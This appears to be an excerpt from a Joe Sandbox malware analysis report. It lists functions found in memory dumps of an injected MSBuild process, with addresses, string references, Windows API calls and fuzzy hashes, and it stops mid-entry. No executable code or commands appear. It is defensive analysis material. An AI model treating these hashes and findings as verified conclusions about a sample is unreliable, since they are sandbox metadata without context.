Function 00CBC1A7 Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 00CBC38D
Ljp, xrefs: 00CBC377
0op, xrefs: 00CBC20A

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 180a20e4593c2d84045706d481a872bb2aa2a735bd2ca0590204d586fe032110
Instruction ID: 352b105ec77146a31fa5c32d2b3f79bebce7a55605b37b7285207972ec42083b
Opcode Fuzzy Hash: 180a20e4593c2d84045706d481a872bb2aa2a735bd2ca0590204d586fe032110
Instruction Fuzzy Hash: 1F818074E00618CFDB14DFAAD884ADDBBF2BF88300F248069E419AB365DB749941DF50

Function 00CBD284 Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 00CBD46D
Ljp, xrefs: 00CBD457
0op, xrefs: 00CBD2EA

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 71e1eef7883933062af1c7c5740c9928f6e11765f8b082413fd9c343954997ba
Instruction ID: 2e553053fb9e862f8cb865d43813b418d30cc6929965d8699319d83478714477
Opcode Fuzzy Hash: 71e1eef7883933062af1c7c5740c9928f6e11765f8b082413fd9c343954997ba
Instruction Fuzzy Hash: 92819374E00658CFDB14DFAAD884ADDBBF2BF88310F248069E419AB365EB349941CF51

Function 00CBC477 Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0op, xrefs: 00CBC4DA
Ljp, xrefs: 00CBC647
Ljp, xrefs: 00CBC65D

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 636a8e08809eaf63c4f0247992f8c60bbcdeef598f00965f0fb301baae6f5516
Instruction ID: 3bedf229abe0da3fafeb08dc953982d4831f739294b1b87d5033458b6724d451
Opcode Fuzzy Hash: 636a8e08809eaf63c4f0247992f8c60bbcdeef598f00965f0fb301baae6f5516
Instruction Fuzzy Hash: BF81A374E00218DFDB14DFAAD984ADDBBF2BF88300F249169E419AB365DB349941DF50

Function 00CBCCE7 Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 00CBCEB7
Ljp, xrefs: 00CBCECD
0op, xrefs: 00CBCD4A

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 12fa71fed8187e8a29864173b888f33f19ee7b3ecad2c1295a2b58700c20526b
Instruction ID: 9f1a03c2fb1a355958011d184312cb7283fca4bde18468615db3a35b03ea07c3
Opcode Fuzzy Hash: 12fa71fed8187e8a29864173b888f33f19ee7b3ecad2c1295a2b58700c20526b
Instruction Fuzzy Hash: B9819274E00658DFDB14DFAAD984ADDBBF2BF88300F248069E419AB365DB349981CF50

Function 00CBCFB7 Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 00CBD187
Ljp, xrefs: 00CBD19D
0op, xrefs: 00CBD01A

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: bd073bb170d568810c32a955388c15a442452830028a3c540876173c73514df2
Instruction ID: 5b9a3b8d807ae659d16e8dde8cccb1bb2e5a5e19a7af732e28f8876ef5682f24
Opcode Fuzzy Hash: bd073bb170d568810c32a955388c15a442452830028a3c540876173c73514df2
Instruction Fuzzy Hash: 8A81B474E00658CFDB14DFAAD884ADDBBF2BF88310F248069E419AB365EB349941CF10

Function 00CB5381 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

0op, xrefs: 00CB53E2

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op
API String ID: 0-2001708241
Opcode ID: 860992523ed9747729fa5b61de05597446a874ec7537c9c15c05700273ae75df
Instruction ID: 427015eafd14d599f7f9c5bd06199f1fd1f1f541aa3d8900d9999aef1941a877
Opcode Fuzzy Hash: 860992523ed9747729fa5b61de05597446a874ec7537c9c15c05700273ae75df
Instruction Fuzzy Hash: 24619474E006489FDB18DFAAD944ADDBBF2BF88301F14C069D819AB365DB349945CF50

Function 00CBCA19 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

0op, xrefs: 00CBCA7A

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op
API String ID: 0-2001708241
Opcode ID: bd028b911814812178a29a38b6fdeb05b9675fcddf6933da33c57011102eff64
Instruction ID: cffb0fc4a57bfdf57235b63b17b7a7e97659feb83ce20142e0b2e76cd4c64252
Opcode Fuzzy Hash: bd028b911814812178a29a38b6fdeb05b9675fcddf6933da33c57011102eff64
Instruction Fuzzy Hash: BC51A575E006489FDB18DFAAD984ADEBBF2BF88300F14C069E418AB365DB349941DF50

Function 00CB9DE0 Relevance: 1.1, Instructions: 1133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb51cd1a0ad3f157ca0bba4d1464c2e6c8ac393223107bd7172037f1ccc63c1b
Instruction ID: e65513a4d099afdf7fb9ca75368cf4c7f38c6c98b76c052285dab1284e46eddc
Opcode Fuzzy Hash: eb51cd1a0ad3f157ca0bba4d1464c2e6c8ac393223107bd7172037f1ccc63c1b
Instruction Fuzzy Hash: B0A27C70A00209DFCB15CFA8C584AEEBBF2BF88300F158569E455DB2A5D731ED85DB62

Function 00CB69A0 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ba4ded8620bf51ab037f2365311fe51712c8a600d3bf2363919b3d4bae26d4
Instruction ID: 96d342b756eb795c5ada10e9d01e409a226110728a7c8884a966458eb63aa800
Opcode Fuzzy Hash: a7ba4ded8620bf51ab037f2365311fe51712c8a600d3bf2363919b3d4bae26d4
Instruction Fuzzy Hash: CB128B70A00209CFDB14DF69C894AAEBBF6BF88300F248569E815DB395DF349E45DB90

Function 00CB6FC8 Relevance: .4, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b38d7f943f222598c49a7148076cac979af2445d4cdd7f39b1f2de4d143a89
Instruction ID: ff21d1f9cc853092898c740e69f25ecba3f1e3f97ce1538c8fd8a3f71ee4888a
Opcode Fuzzy Hash: b7b38d7f943f222598c49a7148076cac979af2445d4cdd7f39b1f2de4d143a89
Instruction Fuzzy Hash: 88025E30A04209DFCB15CFA9D984AEEBBF2BF88301F158566E815AB261D730DE45DF51

Function 00CBE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91b5bb5d43d56a01dbc453a43818c16ab1999b581455eb2b5aeaaccb6849a79
Instruction ID: fd49772486d75f2a66a57c742177226fdc8528e6aea490abf408795e688b5bc9
Opcode Fuzzy Hash: e91b5bb5d43d56a01dbc453a43818c16ab1999b581455eb2b5aeaaccb6849a79
Instruction Fuzzy Hash: E0518274E00608DFDB18DFAAD894A9DBBF6BF89700F248129E815AB365DB309941CF54

Function 00CBE987 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec292f5ff073df66fb4fc288fdd9ac16d9a795a4d49dd42afe02c60055c57b8
Instruction ID: df5a5abd6970af3b607676ee8e507c73630fefc8237b43d965b67f2b7ef7a8b4
Opcode Fuzzy Hash: 9ec292f5ff073df66fb4fc288fdd9ac16d9a795a4d49dd42afe02c60055c57b8
Instruction Fuzzy Hash: 10519374E00208DFDB18DFAAD894ADDBBB2BF88700F248129E815BB365DB305941CF14

Function 00CBCA0C Relevance: 3.9, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 00CBCBFD
0op, xrefs: 00CBCA7A
Ljp, xrefs: 00CBCBE7

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 359e9f54e9346d67fb37b27d4f9ab1a877e9d05e2f95a5bc15665ebf99bc3187
Instruction ID: cff5e19ed20623c8c22be981be38484ed7c42f8772c5775b2bb772ff1d2d9c58
Opcode Fuzzy Hash: 359e9f54e9346d67fb37b27d4f9ab1a877e9d05e2f95a5bc15665ebf99bc3187
Instruction Fuzzy Hash: B971A174E00258CFDB14DFA9D884ADDBBB2BF49310F2480A9E859AB365DB349D81DF50

Function 00A95750 Relevance: 1.7, APIs: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 263a2ed0aa1973d4006104e6f698b08485d4a0e0f0d8406ce9b467da61718d23
Instruction ID: d5bdef5fb380dea5c2852a41623379385e1ca1287fcf857e0d547730cfcb2a74
Opcode Fuzzy Hash: 263a2ed0aa1973d4006104e6f698b08485d4a0e0f0d8406ce9b467da61718d23
Instruction Fuzzy Hash: E8712470A00B058FDB25DF7AD44175ABBF1BF88314F00892DD58ADBA50DB75E946CB90

Function 00A97924 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00A97A42

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5b001a8c9f4a8cf1a838e1549a433911958815140e60c98c3cd18e085cca3a83
Instruction ID: 41cb3a223cdf63b5280e010492cbce64cc7c1f7c8ded46e8190ad472ac22863e
Opcode Fuzzy Hash: 5b001a8c9f4a8cf1a838e1549a433911958815140e60c98c3cd18e085cca3a83
Instruction Fuzzy Hash: 4451ADB1D143499FDF14CFA9C884ADEBBF5BF88354F24812AE819AB210D7719945CF90

Function 00A94DCC Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00A97A42

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 166b7317040344b13d55b648d82eef5d86fb12603af3584fbc323c7621065888
Instruction ID: c064f0104fc263ff46bac06703ecc8abc9d5b09aca8d68297d2847031b780cf3
Opcode Fuzzy Hash: 166b7317040344b13d55b648d82eef5d86fb12603af3584fbc323c7621065888
Instruction Fuzzy Hash: AC519DB1D14349AFDF14CF99C884ADEBBF5BF88310F24852AE819AB210D775A945CF90

Function 00A94F1C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 00A9A131

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 97fb6b077957b524b5e4273a1534134f60c944fe4353c718bd4035768feca60c
Instruction ID: ece9697a5fd9f2dc31e45c29e46ae9fe7c349df0708f1e4ffd437c6cba4705e3
Opcode Fuzzy Hash: 97fb6b077957b524b5e4273a1534134f60c944fe4353c718bd4035768feca60c
Instruction Fuzzy Hash: 04411AB8A00305CFDB14CF99C848AAABBF5FF98314F24C559E519AB321D774A841CFA1

Function 00A9C651 Relevance: 1.6, APIs: 1, Instructions: 72
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00A9C60D

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d5dfa311e05752ffa2889c69bbc88f3b434f96a2e167de9abe65b5b282d29041
Instruction ID: 4cd8e600c6c02bdc6a296ae595fbf7e91cb3921a8f8e21edc1ada850098a86d5
Opcode Fuzzy Hash: d5dfa311e05752ffa2889c69bbc88f3b434f96a2e167de9abe65b5b282d29041
Instruction Fuzzy Hash: CF2177B2D006098FDB20DF9AD4447CEFBF4EF88324F24841AD559A7210C378A545CFA1

Function 00A94C14 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,00A9576C), ref: 00A959A6

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: eed1bdc803d98c3ab442b96a264ed1efc2654ce87e1534f590208f48ed852716
Instruction ID: 360cf1d961f1d11ed854e7a3e6d79750810717f3dca7b897bc46221d0a5eace0
Opcode Fuzzy Hash: eed1bdc803d98c3ab442b96a264ed1efc2654ce87e1534f590208f48ed852716
Instruction Fuzzy Hash: 6711F0B5D00649CFDB10CFAAC444ADEFBF4AB88324F10841AD959A7310D375A945CFA5

Function 00A9C5B0 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00A9C60D

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ba488b2675af770f8d13ad8d659de780ff6cc4e9c5354392639049ad55891f1d
Instruction ID: a3c192e2c0c9cda7463bb183e9225e14597a96ad34f5ba92c07e6a5a93b98575
Opcode Fuzzy Hash: ba488b2675af770f8d13ad8d659de780ff6cc4e9c5354392639049ad55891f1d
Instruction Fuzzy Hash: 2B1112B19007498FDB20DF9AD444BDEFBF4EB48324F208419D558A7310C379A944CFA5

Function 00A9B720 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00A9C60D

Memory Dump Source

Source File: 00000009.00000002.3574749457.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a90000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: e5288e275f474d1fecf0adf7d78558787b9cf0b9f23529b42faab24ba74a5b6c
Instruction ID: 18580a9ab7782d9c03485374d6bce2167b482ea2b8e92946792ac5d018daa082
Opcode Fuzzy Hash: e5288e275f474d1fecf0adf7d78558787b9cf0b9f23529b42faab24ba74a5b6c
Instruction Fuzzy Hash: D91103B59007498FDB20DF9AD444BDEBBF4EB48324F208459E519A7310D374A944CFA5

Function 00CBE018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa859c79ed2dd91d4ff91d27b99e357d6f6b87d249789b6d03e288844aa28a69
Instruction ID: 3a237a11347279b4d4ea8bea4fbddee12d0d8e010224203eacb6114a366e3fb1
Opcode Fuzzy Hash: fa859c79ed2dd91d4ff91d27b99e357d6f6b87d249789b6d03e288844aa28a69
Instruction Fuzzy Hash: 5A1295758B1257CFA2646B61E6EC62FBA61FB1F323704FC00F15AC09499F7014AD8A66

Function 00CBE017 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf76718a49ce629010ee375338b7cecb25b4126cdf78edc39d465c9053b38ebe
Instruction ID: 6e34d330ebb322724facc2bd84faa46307b1644f7c9ae87c8acffdbe06bb9233
Opcode Fuzzy Hash: bf76718a49ce629010ee375338b7cecb25b4126cdf78edc39d465c9053b38ebe
Instruction Fuzzy Hash: 0C1295758B1257CFA2646B61E6EC62FBA60FB1F323704FC00F15A809499F7014AD8A66

Function 00CB0C9F Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e063e7825d23d4970d913754bf26d29d880fe9d87bc98e8966096a24281e12
Instruction ID: c898898df999f7bffa9f81fbaf8006ae7629b37d0fb9435172b24df4c39848a8
Opcode Fuzzy Hash: 71e063e7825d23d4970d913754bf26d29d880fe9d87bc98e8966096a24281e12
Instruction Fuzzy Hash: 9B521C78901619CFCB54EF24E984B8EBBB2FB88301F1085E9D509A7768DB706E95CF40

Function 00CB0CA0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c51d8ae98ba2d0ea9afc6265b7280e2e4be8f477624733e55be095263085a92
Instruction ID: a48ea2b17395290aca9a9aa71c26316ff736179c5fd2a8a19a12c903469f971f
Opcode Fuzzy Hash: 3c51d8ae98ba2d0ea9afc6265b7280e2e4be8f477624733e55be095263085a92
Instruction Fuzzy Hash: 5E520C78901619CFCB54EF64E984B8EBBB2FB88301F1085E9D509A7768DB706E95CF40

Function 00CB76F1 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a84b1b13e66f72dc7cc4c17f5678951569071133b367a773df51eba413ef654a
Instruction ID: a8821f1b8acd250d1b2f9269d44afc301c5c701834d28977d4d3ae068a7585b8
Opcode Fuzzy Hash: a84b1b13e66f72dc7cc4c17f5678951569071133b367a773df51eba413ef654a
Instruction Fuzzy Hash: E4124A30A04249CFCB15CF69D884AEEBBF1EF89314F158699E815AB3A1DB31ED41CB50

Function 00CB5F38 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44b05fcbfcc8ba317cb8ee8c8c0fdc3d9ba6b0669cab9a3f1cb7e6bdc31b8ca
Instruction ID: 2ada59699e3c0fbe2fe9590dfcb57f03b675f1f86486297166d517ab3e97abe8
Opcode Fuzzy Hash: d44b05fcbfcc8ba317cb8ee8c8c0fdc3d9ba6b0669cab9a3f1cb7e6bdc31b8ca
Instruction Fuzzy Hash: D491CE70704201CFDB15AF69D894BBE7BE2AB88304F148869E4168B396DF388E46D795

Function 00CB6498 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f056a3206dada3d127b174ec712f2ae7c6076806aadd247bb9ad1ae88da253
Instruction ID: 156b703f3c322d7600355f98f5a0e7b9801b97708062e91a568a224eb005e32b
Opcode Fuzzy Hash: 95f056a3206dada3d127b174ec712f2ae7c6076806aadd247bb9ad1ae88da253
Instruction Fuzzy Hash: D6819C34B00505DFCB24CF69C4849EABBB2BF89304F258169E416EB365DB39EC45CBA1

Function 00CB80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ea97ee0e0be3d1f10ce80aa42d4ea0c90c7e1fadf32470444497c2660e91f1
Instruction ID: ab1edf69ba727f88733e0825780a4a44aa1d241cbc426713400848cbe589c52a
Opcode Fuzzy Hash: b4ea97ee0e0be3d1f10ce80aa42d4ea0c90c7e1fadf32470444497c2660e91f1
Instruction Fuzzy Hash: 537135347006058FCB15DF69C888AAE7BEAAF99700F1540A9E826DB3B1DF70DD45CB51

Function 00CBFDBA Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d967a4c8bdc98171891399dc398a4e86e7400390b369a795f891a106d76f3d
Instruction ID: d23aeef622c59d5fe4a5eed1bc10ce9bd2d46ffd94f97e93fca4c865b25b4f73
Opcode Fuzzy Hash: b9d967a4c8bdc98171891399dc398a4e86e7400390b369a795f891a106d76f3d
Instruction Fuzzy Hash: 3F510F74D05248CFDB04DFA9D8846EDBBF1BF49301F24852AE855AB3A5DB349A06CF50

Function 00CB419F Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 436c1c31723f8a8605be70f457f198804ffae2644c3265789efd24d278518dea
Instruction ID: c1012dc700c56d47b76c9ac9e6615b181ea5ca1ab155d48845ec98b8142fafd3
Opcode Fuzzy Hash: 436c1c31723f8a8605be70f457f198804ffae2644c3265789efd24d278518dea
Instruction Fuzzy Hash: 3E518274E01208CFCB48DFA9D59499DBBF2FF89310B209569E809AB365DB35A942CF50

Function 00CB41A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda352845e843f4e76f57d06fa7bb7339f4d132b9be3a2f52a8774152a2c149d
Instruction ID: c519a5c67eb47c577dd3397fcb4a20130bc64c217f51c46447bad548d660f268
Opcode Fuzzy Hash: cda352845e843f4e76f57d06fa7bb7339f4d132b9be3a2f52a8774152a2c149d
Instruction Fuzzy Hash: 7B518274E01208CFCB48DFA9D59499DBBF2FF89310B209469E809AB365DB35A942CF50

Function 00CBD557 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be24f2bc3a4064eb8586ae2a0e5f0fa29e5e746dd635ee3320593b360e5d6027
Instruction ID: c9c3b7b5f0d0f44bdcaf05bad85e9943c0a5d8fef20fe3160d012c7cf83c7f65
Opcode Fuzzy Hash: be24f2bc3a4064eb8586ae2a0e5f0fa29e5e746dd635ee3320593b360e5d6027
Instruction Fuzzy Hash: 47518474E01208DFDB58DFAAD5849DDBBF2BF89300F209169E819AB365DB319945CF10

Function 00CBA303 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129254e23403c145ff3d32626b17d2f3a93667b0bbca8f7a7cb62560d5a1dd71
Instruction ID: df932315435bf4298a40b03eb5a8abfa195d2ae77220cc40f1e009caa01da2bc
Opcode Fuzzy Hash: 129254e23403c145ff3d32626b17d2f3a93667b0bbca8f7a7cb62560d5a1dd71
Instruction Fuzzy Hash: 9A41AF31A04249DFCF11CFA8C884ADDBFB2AF49310F148556E9959B2A1D370DE14CF62

Function 00CB3CC0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

